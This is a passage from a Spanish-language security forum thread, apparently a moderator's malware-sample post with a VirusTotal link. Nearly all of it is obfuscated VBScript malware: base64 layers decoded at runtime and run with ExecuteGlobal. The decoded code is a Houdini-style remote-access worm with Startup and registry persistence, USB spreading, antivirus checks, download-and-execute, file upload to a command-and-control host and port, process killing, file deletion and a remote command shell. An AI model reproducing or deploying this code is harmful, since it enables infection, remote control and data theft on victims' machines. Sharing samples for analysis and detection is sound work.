JpcHQuZXhlIC8vQi@*iIC@*mIGNocncoMzQpICYgaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICYgY2hydygzNCkgLC@*iUkVHX1NaIg0KZmlsZXN5c3RlbW9iai5jb3B5ZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSx0cnVlDQpmaWxlc3lzdGVtb2JqLmNvcHlmaWxlIHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUsc3RhcnR1cC@*mIGluc3RhbGxuYW1lICx0cnVlDQplbmQgc3ViDQpmdW5jdGlvbiBod2lkDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0Kc2V0IHJvb3QgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBkaXNrcy@*9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2dpY2FsZGlzayIpDQpmb3IgZWFjaCBkaXNrIGluIGRpc2tzDQppZi@*gZGlzay52b2x1bWVzZXJpYWxudW1iZXIgPD4gIiIgdGhlbg0KaHdpZC@*9IGRpc2sudm9sdW1lc2VyaWFsbnVtYmVyDQpleGl0IGZvcg0KZW5kIGlmDQpuZXh0DQplbmQgZnVuY3Rpb24NCmZ1bmN0aW9uIHNlY3VyaXR5DQpvbiBlcnJvciByZXN1bWUgbmV4d@*0Kc2VjdXJpdHkgPS@*iIg0Kc2V0IG9iandtaXNlcnZpY2UgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBjb2xpdGVtcy@*9IG9iandtaXNlcnZpY2UuZXhlY3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIsLDQ4KQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KdmVyc2lvbnN0ci@*9IHNwbGl0IChvYmppdGVtLnZlcnNpb24sIi4iKQ0KbmV4d@*0KdmVyc2lvbnN0ci@*9IHNwbGl0IChjb2xpdGVtcy52ZXJzaW9uLCIuIikNCm9zdmVyc2lvbi@*9IHZlcnNpb25zdHIgKD@*pICYgIi4iDQpmb3IgIHggPS@*xIHRvIHVib3VuZC@*odmVyc2lvbnN0cikNCm9zdmVyc2lvbi@*9IG9zdmVyc2lvbi@*mICB2ZXJzaW9uc3RyIChpKQ0KbmV4d@*0Kb3N2ZXJzaW9uID0gZXZhbC@*ob3N2ZXJzaW9uKQ0KaWYgIG9zdmVyc2lvbi@*+IDYgdGhlbiBzYy@*9ICJzZWN1cml0eWNlbnRlcjIiIGVsc2Ugc2MgPS@*ic2VjdXJpdHljZW50ZXIiDQpzZXQgb2Jqc2VjdXJpdHljZW50ZXIgPSBnZXRvYmplY3QoIndpbm1nbXRzOlxcbG9jYWxob3N0XHJvb3RcIi@*mIHNjKQ0KU2V0IGNvbGFudGl2aXJ1cy@*9IG9ianNlY3VyaXR5Y2VudGVyLmV4ZWNxdWVyeSgic2VsZWN0ICogZnJvbSBhbnRpdmlydXNwcm9kdWN0Iiwid3FsIiwwKQ0KZm9yIGVhY2ggb2JqYW50aXZpcnVzIGluIGNvbGFudGl2aXJ1cw0Kc2VjdXJpdHkgID0gc2VjdXJpdHkgICYgb2JqYW50aXZpcnVzLmRpc3BsYXluYW1lICYgIi@*uIg0KbmV4d@*0KaWYgc2VjdXJpdHkgID0gIiIgdGhlbiBzZWN1cml0eS@*gPS@*ibmFuLWF2Ig0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBpbnN0YW5jZQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCnVzYnNwcmVhZGluZy@*9IHNoZWxsb2JqLnJlZ3JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcIi@*mIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKD@*pICYgIlwiKQ0KaWYgdXNic3ByZWFkaW5nID0gIiIgdGhlbg0KaWYgbGNhc2UgKCBtaWQod3NjcmlwdC5zY3JpcHRmdWxsbmFtZSwyKSkgPS@*iOlwiICYgIGxjYXNlKGluc3RhbGxuYW1lKSB0aGVuDQp1c2JzcHJlYWRpbmcgPS@*idHJ1ZS@*tICIgJiBkYXRlDQpzaGVsbG9iai5yZWd3cml0ZS@*iSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXCIgJiBzcGxpdC@*oaW5zdGFsbG5hbWUsIi4iKSgwKS@*gJi@*iXCIsICB1c2JzcHJlYWRpbmcsICJSRUdfU1oiDQplbHNlDQp1c2JzcHJlYWRpbmcgPS@*iZmFsc2UgLS@*iICYgZGF0ZQ0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkgICYgIlwiLC@*gdXNic3ByZWFkaW5nLC@*iUkVHX1NaIg0KZW5kIGlmDQplbmQgSWYNCnVwc3RhcnQNCnNldCBzY3JpcHRmdWxsbmFtZXNob3J0ID0gIGZpbGVzeXN0ZW1vYmouZ2V0ZmlsZS@*od3NjcmlwdC5zY3JpcHRmdWxsbmFtZSkNCnNldCBpbnN0YWxsZnVsbG5hbWVzaG9ydC@*9ICBmaWxlc3lzdGVtb2JqLmdldGZpbGUgKGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSkNCmlmICBsY2FzZS@*oc2NyaXB0ZnVsbG5hbWVzaG9ydC5zaG9ydHBhdGgpIDw+IGxjYXNlIChpbnN0YWxsZnVsbG5hbWVzaG9ydC5zaG9ydHBhdGgpIHRoZW4NCnNoZWxsb2JqLnJ1bi@*id3NjcmlwdC5leGUgLy9CICIgJiBjaHIoMzQpICYgaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICYgQ2hyKDM0KQ0Kd3NjcmlwdC5xdWl0DQplbmQgSWYNCmVyci5jbGVhcg0Kc2V0IG9uZW9uY2UgPSBmaWxlc3lzdGVtb2JqLm9wZW50ZXh0ZmlsZS@*oaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICw4LCBmYWxzZSkNCmlmICBlcnIubnVtYmVyID4gMCB0aGVuIHdzY3JpcHQucXVpd@*0KZW5kIGZ1bmN0aW9uDQpzdWIgc2l0ZWRvd25sb2FkZXIgKGZpbGV1cmwsZmlsZW5hbWUpDQpzdHJsaW5rID0gZmlsZXVyb@*0Kc3Ryc2F2ZXRvID0gaW5zdGFsbGRpci@*mIGZpbGVuYW1lDQpzZXQgb2JqaHR0cGRvd25sb2FkID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIgKQ0Kb2JqaHR0cGRvd25sb2FkLm9wZW4gImdldCIsIHN0cmxpbmssIGZhbHNlDQpvYmpodHRwZG93bmxvYWQuc2VuZ@*0Kc2V0IG9iamZzb2Rvd25sb2FkID0gY3JlYXRlb2JqZWN0ICgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKQ0KaWYgIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMgKHN0cnNhdmV0bykgdGhlbg0Kb2JqZnNvZG93bmxvYWQuZGVsZXRlZmlsZS@*oc3Ryc2F2ZXRvKQ0KZW5kIGlmDQppZiBvYmpodHRwZG93bmxvYWQuc3RhdHVzID0gMj@*wIHRoZW4NCmRpbS@*gb2Jqc3RyZWFtZG93bmxvYWQNCnNldC@*gb2Jqc3RyZWFtZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoImFkb2RiLnN0cmVhbSIpDQp3aXRoIG9ianN0cmVhbWRvd25sb2FkDQoudHlwZS@*9IDENCi5vcGVuDQoud3JpdGUgb2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlYm9keQ0KLnNhdmV0b2ZpbGUgc3Ryc2F2ZXRvDQouY2xvc2UNCmVuZCB3aXRoDQpzZXQgb2Jqc3RyZWFtZG93bmxvYWQgPSBub3RoaW5nDQplbmQgaWYNCmlmIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMoc3Ryc2F2ZXRvKSB0aGVuDQpzaGVsbG9iai5ydW4gb2JqZnNvZG93bmxvYWQuZ2V0ZmlsZS@*oc3Ryc2F2ZXRvKS5zaG9ydHBhdGgNCmVuZCBpZg0KZW5kIHN1Yg0Kc3ViIGRvd25sb2FkIChmaWxldXJsLGZpbGVkaXIpDQppZiBmaWxlZGlyID0gIiIgdGhlbg0KZmlsZWRpci@*9IGluc3RhbGxkaXINCmVuZCBpZg0Kc3Ryc2F2ZXRvID0gZmlsZWRpci@*mIG1pZC@*oZmlsZXVybCwgaW5zdHJyZXYgKGZpbGV1cmwsIlwiKS@*rIDEpDQpzZXQgb2JqaHR0cGRvd25sb2FkID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIpDQpvYmpodHRwZG93bmxvYWQub3Blbi@*icG9zdCIsImh0dH@*6Ly8iICYgaG9zdC@*mICI6Ii@*mIHBvcnQgJiIvIi@*mICJpcy1zZW5kaW5nIi@*mIHNwbGl0ZXIgJiBmaWxldXJsLCBmYWxzZQ0Kb2JqaHR0cGRvd25sb2FkLnNlbmQgIiINCnNldCBvYmpmc29kb3dubG9hZC@*9IGNyZWF0ZW9iamVjdC@*oInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0IikNCmlmICBvYmpmc29kb3dubG9hZC5maWxlZXhpc3RzIChzdHJzYXZldG8pIHRoZW4NCm9iamZzb2Rvd25sb2FkLmRlbGV0ZWZpbGUgKHN0cnNhdmV0bykNCmVuZCBpZg0KaWYgIG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPS@*yMD@*gdGhlbg0KZGltICBvYmpzdHJlYW1kb3dubG9hZ@*0Kc2V0ICBvYmpzdHJlYW1kb3dubG9hZC@*9IGNyZWF0ZW9iamVjdCgiYWRvZGIuc3RyZWFtIikNCndpdGggb2Jqc3RyZWFtZG93bmxvYWQNCi50eXBlID0gMQ0KLm9wZW4NCi53cml0ZSBvYmpodHRwZG93bmxvYWQucmVzcG9uc2Vib2R5DQouc2F2ZXRvZmlsZSBzdHJzYXZldG8NCi5jbG9zZQ0KZW5kIHdpdGgNCnNldCBvYmpzdHJlYW1kb3dubG9hZC@*gPSBub3RoaW5nDQplbmQgaWYNCmlmIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMoc3Ryc2F2ZXRvKSB0aGVuDQpzaGVsbG9iai5ydW4gb2JqZnNvZG93bmxvYWQuZ2V0ZmlsZS@*oc3Ryc2F2ZXRvKS5zaG9ydHBhdGgNCmVuZCBpZg0KZW5kIHN1Yg0KZnVuY3Rpb24gdXBsb2FkIChmaWxldXJsKQ0KZGltICBodHRwb2JqLG9ianN0cmVhbXVwbG9hZGUsYnVmZmVyDQpzZXQgIG9ianN0cmVhbXVwbG9hZGUgPSBjcmVhdGVvYmplY3QoImFkb2RiLnN0cmVhbSIpDQp3aXRoIG9ianN0cmVhbXVwbG9hZGUNCi50eXBlID0gMQ0KLm9wZW4NCi5sb2FkZnJvbWZpbGUgZmlsZXVyb@*0KYnVmZmVyID0gLnJlYWQNCi5jbG9zZQ0KZW5kIHdpdGgNCnNldCBvYmpzdHJlYW1kb3dubG9hZC@*9IG5vdGhpbmcNCnNldCBodHRwb2JqID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIpDQpodHRwb2JqLm9wZW4gInBvc3QiLCJodHRwOi8vIi@*mIGhvc3QgJi@*iOiIgJiBwb3J0ICYiLyIgJi@*iaXMtcmVjdmluZyIgJiBzcGxpdGVyICYgZmlsZXVybCwgZmFsc2UNCmh0dHBvYmouc2VuZCBidWZmZXINCmVuZCBmdW5jdGlvbg0KZnVuY3Rpb24gZW51bWRyaXZlci@*oKQ0KZm9yICBlYWNoIGRyaXZlIGluIGZpbGVzeXN0ZW1vYmouZHJpdmVzDQppZi@*gIGRyaXZlLmlzcmVhZHkgPSB0cnVlIHRoZW4NCmVudW1kcml2ZXIgPSBlbnVtZHJpdmVyICYgZHJpdmUucGF0aC@*mICJ8Ii@*mIGRyaXZlLmRyaXZldHlwZS@*mIHNwbGl0ZXINCmVuZCBpZg0KbmV4d@*0KZW5kIEZ1bmN0aW9uDQpmdW5jdGlvbiBlbnVtZmFmIChlbnVtZGlyKQ0KZW51bWZhZi@*9IGVudW1kaXIgJiBzcGxpdGVyDQpmb3IgIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyIChlbnVtZGlyKS5zdWJmb2xkZXJzDQplbnVtZmFmID0gZW51bWZhZi@*mIGZvbGRlci5uYW1lICYgInwiICYgIiIgJi@*ifCIgJi@*iZCIgJi@*ifCIgJiBmb2xkZXIuYXR0cmlidXRlcy@*mIHNwbGl0ZXINCm5leHQNCmZvci@*gZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyIChlbnVtZGlyKS5maWxlcw0KZW51bWZhZi@*9IGVudW1mYWYgJiBmaWxlLm5hbWUgJi@*ifCIgJiBmaWxlLnNpemUgICYgInwiICYgImYiICYgInwiICYgZmlsZS5hdHRyaWJ1dGVzICYgc3BsaXRlcg0KbmV4d@*0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBlbnVtcHJvY2Vzcy@*oKQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCBvYmp3bWlzZXJ2aWNlID0gZ2V0b2JqZWN0KCJ3aW5tZ210czpcXC5ccm9vdFxjaW12MiIpDQpzZXQgY29saXRlbXMgPSBvYmp3bWlzZXJ2aWNlLmV4ZWNxdWVyeSgic2VsZWN0ICogZnJvbSB3aW4zMl9wcm9jZXNzIiwsNDgpDQpkaW0gb2JqaXRlbQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KZW51bXByb2Nlc3MgPSBlbnVtcHJvY2Vzcy@*mIG9iaml0ZW0ubmFtZS@*mICJ8Ig0KZW51bXByb2Nlc3MgPSBlbnVtcHJvY2Vzcy@*mIG9iaml0ZW0ucHJvY2Vzc2lkICYgInwiDQplbnVtcHJvY2Vzcy@*9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5leGVjdXRhYmxlcGF0aC@*mIHNwbGl0ZXINCm5leHQNCmVuZCBmdW5jdGlvbg0Kc3ViIGV4aXRwcm9jZXNzIChwaWQpDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0Kc2hlbGxvYmoucnVuICJ0YXNra2lsbC@*vRi@*vVC@*vUElEICIgJiBwaWQsNyx0cnVlDQplbmQgc3ViDQpzdWIgZGVsZXRlZmFmICh1cmwpDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIHVyb@*0KZmlsZXN5c3RlbW9iai5kZWxldGVmb2xkZXIgdXJsDQplbmQgc3ViDQpmdW5jdGlvbiBjbWRzaGVsbC@*oY21kKQ0KZGltIGh0dHBvYmosb2V4ZWMscmVhZGFsbGZyb21hbnkNCnNldCBvZXhlYy@*9IHNoZWxsb2JqLmV4ZWMgKCIlY29tc3BlYyUgL2MgIi@*mIGNtZCkNCmlmIG5vdCBvZXhlYy5zdGRvdXQuYXRlbmRvZnN0cmVhbSB0aGVuDQpyZWFkYWxsZnJvbWFueS@*9IG9leGVjLnN0ZG91dC5yZWFkYWxsDQplbHNlaWYgbm90IG9leGVjLnN0ZGVyci5hdGVuZG9mc3RyZWFtIHRoZW4NCnJlYWRhbGxmcm9tYW55ID0gb2V4ZWMuc3RkZXJyLnJlYWRhbGwNCmVsc2UNCnJlYWRhbGxmcm9tYW55ID0gIiINCmVuZCBpZg0KY21kc2hlbGwgPSByZWFkYWxsZnJvbWFueQ0KZW5kIGZ1bmN0aW9uDQo="
  26. res_ult = Replace(main_cont, mut_ex, the_const)
  27. zufc = encode_the_string64(Nothing, res_ult, 10, 87)
  28. End Function
  29.  
  30. Dim wiuryajf, li
  31. wiuryajf = co_bi_na_ry_2_str(zufc(0, Nothing, 0, 993), 4, 1, 2, 3)
  32. Private Function dskgfhaksdf()
  33. ExecuteGlobal wiuryajf
  34. dskgfhaksdf = ""
  35. End Function
  36. li = dskgfhaksdf()

:https://www.virustotal.com/es/file/8cfee0a9daaff3eeaa896fd41d4f39bf85fab3342a83e53d8c04b2d8102db0f6/analysis/1535044219/
« Última modificación: 24 Agosto 2018, 15:11 pm por Shell Root » En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
Re: [Malware] Muestra, Detenciones 6 / 57
« Respuesta #1 en: 24 Agosto 2018, 15:11 pm »

UPDATE
Código
  1. Const TypeBinary = 1
  2. Const ForReading = 1, ForWriting = 2, ForAppending = 8
  3. on error resume next
  4. Dim longText1
  5. longText1 = "UHJpdmF0ZSBGdW5jdGlvbiBjb19iaV9uYV9yeV8yX3N0cihuaSwgbWIsIHV6LCBhbSwgcmspCiAgU2V0IGNvb2xlciA9IENyZWF0ZU9iamVjdCgiQURPREIuU3RyZWFtIikKICBjb29sZXIuVHlwZSA9IDEKICBjb29sZXIuT3BlbgogIGNvb2xlci5Xcml0ZSBuaQogIGNvb2xlci5Qb3NpdGlvbiA9IDAKICBjb29sZXIuVHlwZSA9IDIKICBjb29sZXIuQ2hhclNldCA9ICJ1cy1hc2NpaSIKICBjb19iaV9uYV9yeV8yX3N0ciA9IGNvb2xlci5SZWFkVGV4dAogIFNldCBjb29sZXIgPSBOb3RoaW5nCkVuZCBGdW5jdGlvbgoKUHJpdmF0ZSBGdW5jdGlvbiBlbmNvZGVfdGhlX3N0cmluZzY0KGNvb2ssIGJvb2ssIHRvdWNoLCBmbGF0KQogICAgU2V0IHhtbF9kb20gPSBDcmVhdGVPYmplY3QoIk1pY3Jvc29mdC5YTUxET00iKQogICAgU2V0IHhtbF90bXAgPSB4bWxfZG9tLmNyZWF0ZUVsZW1lbnQoInRtcCIpCiAgICB4bWxfdG1wLkRhdGFUeXBlID0gImJpbi5iYXNlNjQiCiAgICB4bWxfdG1wLlRleHQgPSBib29rCiAgICBlbmNvZGVfdGhlX3N0cmluZzY0ID0geG1sX3RtcC5Ob2RlVHlwZWRWYWx1ZQpFbmQgRnVuY3Rpb24KClByaXZhdGUgRnVuY3Rpb24genVmYyhoZ2ksIHRlbGV2aXNpb24sIHJhZGlvLCBwb3dlcikKICAgIERpbSBtdXRfZXgsIHRoZV9jb25zdCwgbWFpbl9jb250LCByZXNfdWx0CiAgICBtdXRfZXggPSAiQCoiCiAgICB0aGVfY29uc3QgPSAiQSIKICAgIG1haW5fY29udCA9ICJKenhiSUhKbFkyOWtaWElnT2lCb2IzVmthVzVwSUNoaktTQnphM2x3WlNAKjZJR2h2ZFdScGJta3RabmdnWFQ0S0NpYzlMVDB0UFMwOUxUMGdZMjl1Wm1sbklEMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlDZ3BvYjNOMElEMGdJbkJ0TW1KcGRHTnZhVzR1WTI5dElncHdiM0owSUQwZ05qazJPUW9uYUc5emRDQCo5SUNKbWRXUXVablZrWTNKNWNIUXVZMjl0SWdvbmNHOXlkQ0AqOUlEYzNORFFLYVc1emRHRnNiR1JwY2lAKjlJQ0lsWVhCd1pHRjBZU1VpQ214dWEyWnBiR1VnUFNCMGNuVmxDbXh1YTJadmJHUmxjaUAqOUlIUnlkV1VLQ2ljOUxUMHRQUzA5TFQwZ2NIVmliR2xqSUhaaGNpQCo5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlDZ3BrYVcwZ2MyaGxiR3h2WW1vZ0NuTmxkQ0J6YUdWc2JHOWlhaUAqOUlIZHpZM0pwY0hRdVkzSmxZWFJsYjJKcVpXTjBLQ0ozYzJOeWFYQjBMbk5vWld4c0lpa0taR2x0SUdacGJHVnplWE4wWlcxdlltb0tjMlYwSUdacGJHVnplWE4wWlcxdlltb2dQU0JqY21WaGRHVnZZbXBsWTNRb0luTmpjbWx3ZEdsdVp5NW1hV3hsYzNsemRHVnRiMkpxWldOMElpa0taR2x0SUdoMGRIQnZZbW9LYzJWMElHaDBkSEJ2WW1vZ1BTQmpjbVZoZEdWdlltcGxZM1FvSW0xemVHMXNNaTU0Yld4b2RIUndJaWtLQ2dvblBTMDlMVDB0UFMwOUlIQnlhWFpoZENCMllYSWdQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwS0NtbHVjM1JoYkd4dVlXMWxJRDBnZDNOamNtbHdkQzV6WTNKcGNIUnVZVzFsQ25OMFlYSjBkWEAqZ1BTQnphR1ZzYkc5aWFpNXpjR1ZqYVdGc1ptOXNaR1Z5Y3lAKm9Jbk4wWVhKMGRYQCppS1NAKm1JQ0pjSWdwcGJuTjBZV3hzWkdseUlEMGdjMmhsYkd4dlltb3VaWGh3WVc1a1pXNTJhWEp2Ym0xbGJuUnpkSEpwYm1kektHbHVjM1JoYkd4a2FYSXBJQ1lnSWx3aUNtbG1JRzV2ZENCbWFXeGxjM2x6ZEdWdGIySnFMbVp2YkdSbGNtVjRhWE4wY3locGJuTjBZV3hzWkdseUtTQjBhR1Z1SUNCcGJuTjBZV3hzWkdseUlEMGdjMmhsYkd4dlltb3VaWGh3WVc1a1pXNTJhWEp2Ym0xbGJuUnpkSEpwYm1kektDSWxkR1Z0Y0NVaUtTQCptSUNKY0lncHpjR3hwZEdWeUlEMGdJandpSUNZZ0lud2lJQ1lnSWo0aUNuTnNaV1Z3SUQwZ05UQCp3TUNAKktaR2x0SUhKbGMzQnZibk5sQ21ScGJTQmpiV1FLWkdsdElIQmhjbUZ0Q21sdVptOGdQU0AqaUlncDFjMkp6Y0hKbFlXUnBibWNnUFNAKmlJZ3B6ZEdGeWRHUmhkR1VnUFNAKmlJZ3BrYVcwZ2IyNWxiMjVqWlFvS0p6MHRQUzA5TFQwdFBTQmpiMlJsSUhOMFlYSjBJRDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUNtOXVJR1Z5Y205eUlISmxjM1Z0WlNCdVpYaDBDZ29LYVc1emRHRnVZMlVLZDJocGJHVWdkSEoxWlFvS2FXNXpkR0ZzYkAqb0tjbVZ6Y0c5dWMyVWdQU0AqaUlncHlaWE53YjI1elpTQCo5SUhCdmMzUWdLQ0pwY3kxeVpXRmtlU0lzSWlJcENtTnRaQ0AqOUlITndiR2wwSUNoeVpYTndiMjV6WlN4emNHeHBkR1Z5S1FwelpXeGxZM1FnWTJGelpTQmpiV1FnS0RAKnBDbU5oYzJVZ0ltVjRZMlZqZFhSbElnb2dJQ0AqZ0lDQndZWEpoYlNAKjlJR050WkNAKm9NU2tLSUNAKmdJQ0AqZ1pYaGxZM1YwWlNCd1lYSmhiUXBqWVhObElDSjFjR1JoZEdVaUNpQCpnSUNAKmdJSEJoY21GdElEMGdZMjFrSUNneEtRb2dJQ0AqZ0lDQnZibVZ2Ym1ObExtTnNiM05sQ2lAKmdJQ0AqZ0lITmxkQ0J2Ym1WdmJtTmxJRDBnSUdacGJHVnplWE4wWlcxdlltb3ViM0JsYm5SbGVIUm1hV3hsSUNocGJuTjBZV3hzWkdseUlDWWdhVzV6ZEdGc2JHNWhiV1VnTERJc0lHWmhiSE5sS1FvZ0lDQCpnSUNCdmJtVnZibU5sTG5keWFYUmxJSEJoY21GdENpQCpnSUNAKmdJRzl1Wlc5dVkyVXVZMnh2YzJVS0lDQCpnSUNAKmdjMmhsYkd4dlltb3VjblZ1SUNKM2MyTnlhWEIwTG1WNFpTQCp2TDBJZ0lpQCptSUdOb2NpZ3pOQ2tnSmlCcGJuTjBZV3hzWkdseUlDWWdhVzV6ZEdGc2JHNWhiV1VnSmlCamFISW9NelFwQ2lAKmdJQ0AqZ0lIZHpZM0pwY0hRdWNYVnBkQ0AqS1kyRnpaU0AqaWRXNXBibk4wWVd4c0lnb2dJQ0AqZ0lDQjFibWx1YzNSaGJHd0tZMkZ6WlNAKmljMlZ1WkNJS0lDQCpnSUNAKmdaRzkzYm14dllXUWdZMjFrSUNneEtTeGpiV1FnS0RJcENtTmhjMlVnSW5OcGRHVXRjMlZ1WkNJS0lDQCpnSUNAKmdjMmwwWldSdmQyNXNiMkZrWlhJZ1kyMWtJQ2d4S1N4amJXUWdLRElwQ21OaGMyVWdJbkpsWTNZaUNpQCpnSUNAKmdJSEJoY21GdElEMGdZMjFrSUNneEtRb2dJQ0AqZ0lDQjFjR3h2WVdRZ0tIQmhjbUZ0S1FwallYTmxJQ0AqaVpXNTFiUzFrY21sMlpYSWlDaUAqZ0lDQCpnSUhCdmMzUWdJbWx6TFdWdWRXMHRaSEpwZG1WeUlpeGxiblZ0WkhKcGRtVnlJQ0AqS1kyRnpaU0AqZ0ltVnVkVzB0Wm1GbUlnb2dJQ0AqZ0lDQndZWEpoYlNAKjlJR050WkNAKm9NU2tLSUNAKmdJQ0AqZ2NHOXpkQ0AqaWFYTXRaVzUxYlMxbVlXWWlMR1Z1ZFcxbVlXWWdLSEJoY21GdEtRcGpZWE5sSUNAKmlaVzUxYlMxd2NtOWpaWE56SWdvZ0lDQCpnSUNCd2IzTjBJQ0pwY3kxbGJuVnRMWEJ5YjJObGMzTWlMR1Z1ZFcxd2NtOWpaWE56SUNAKmdDbU5oYzJVZ0lDSmpiV1F0YzJobGJHd2lDaUAqZ0lDQCpnSUhCaGNtRnRJRDBnWTIxa0lDZ3hLUW9nSUNAKmdJQ0J3YjNOMElDSnBjeTFqYldRdGMyaGxiR3dpTEdOdFpITm9aV3hzSUNod1lYSmhiU2tnSUAqcGpZWE5sSUNAKmlaR1ZzWlhSbElnb2dJQ0AqZ0lDQndZWEpoYlNAKjlJR050WkNAKm9NU2tLSUNAKmdJQ0AqZ1pHVnNaWFJsWm1GbUlDaHdZWEpoYlNrZ0NtTmhjMlVnSUNKbGVHbDBMWEJ5YjJObGMzTWlDaUAqZ0lDQCpnSUhCaGNtRnRJRDBnWTIxa0lDZ3hLUW9nSUNAKmdJQ0JsZUdsMGNISnZZMlZ6Y3lAKm9jR0Z5WVcwcElAKnBqWVhObElDQCppYzJ4bFpYQCppQ2lAKmdJQ0AqZ0lIQmhjbUZ0SUQwZ1kyMWtJQ2d4S1FvZ0lDQCpnSUNCemJHVmxjQ0AqOUlHVjJZV3dnS0hCaGNtRnRLU0AqZ0lDQCpnSUNAKmdDbVZ1WkNCelpXeGxZM1FLQ25kelkzSnBjSFF1YzJ4bFpYQCpnYzJ4bFpYQCpLQ25kbGJtUUtDZ3B6ZFdJZ2FXNXpkR0ZzYkAqcHZiaUJsY25KdmNpQnlaWE4xYldVZ2JtVjRkQCpwa2FXMGdiRzVyYjJKcUNtUnBiU0JtYVd4bGJtRnRaUXBrYVcwZ1ptOXNaR1Z5Ym1GdFpRcGthVzBnWm1sc1pXbGpiMjRLWkdsdElHWnZiR1JsY21samIyNEtDblZ3YzNSaGNuUUtabTl5SUdWaFkyZ2daSEpwZG1VZ2FXNGdabWxzWlhONWMzUmxiVzlpYWk1a2NtbDJaWE1LQ21sbUlDQmtjbWwyWlM1cGMzSmxZV1I1SUQwZ2RISjFaU0IwYUdWdUNtbG1JQ0JrY21sMlpTNW1jbVZsYzNCaFkyVWdJRDRnTUNCMGFHVnVDbWxtSUNCa2NtbDJaUzVrY21sMlpYUjVjR1VnSUQwZ01TQjBhR1Z1Q2lAKmdJQ0JtYVd4bGMzbHpkR1Z0YjJKcUxtTnZjSGxtYVd4bElIZHpZM0pwY0hRdWMyTnlhWEIwWm5Wc2JHNWhiV1VnTENCa2NtbDJaUzV3WVhSb0lDWWdJbHdpSUNZZ2FXNXpkR0ZzYkc1aGJXVXNkSEoxWlFvZ0lDQCpnYVdZZ0lHWnBiR1Z6ZVhOMFpXMXZZbW91Wm1sc1pXVjRhWE4wY3lAKm9aSEpwZG1VdWNHRjBhQ0AqbUlDSmNJaUAqbUlHbHVjM1JoYkd4dVlXMWxLU0AqZ2RHaGxiZ29nSUNAKmdJQ0AqZ0lHWnBiR1Z6ZVhOMFpXMXZZbW91WjJWMFptbHNaU2hrY21sMlpTNXdZWFJvSUNZZ0lsd2lJQ0AqbUlHbHVjM1JoYkd4dVlXMWxLUzVoZEhSeWFXSjFkR1Z6SUQwZ01pczBDaUAqZ0lDQmxibVFnYVdZS0lDQCpnSUdadmNpQmxZV05vSUdacGJHVWdhVzRnWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJtYjJ4a1pYSW9JR1J5YVhabExuQmhkR2dnSmlAKmlYQ0lnS1M1R2FXeGxjd29nSUNAKmdJQ0AqZ0lHbG1JRzV2ZENCc2JtdG1hV3hsSUhSb1pXNGdaWGhwZENCbWIzSUtJQ0AqZ0lDQCpnSUNCcFppQCpnYVc1emRISWdLR1pwYkdVdWJtRnRaU3dpTGlJcElIUm9aVzRLSUNAKmdJQ0AqZ0lDQCpnSUNAKmdhV1lnSUd4allYTmxJQ2h6Y0d4cGRDaG1hV3hsTG01aGJXVXNJQ0l1SWlrZ0tIVmliM1Z1WkNoemNHeHBkQ2htYVd4bExtNWhiV1VzSUNJdUlpa3BLU2tnUEQ0Z0lteHVheUlnZEdobGJnb2dJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnWm1sc1pTNWhkSFJ5YVdKMWRHVnpJRDBnT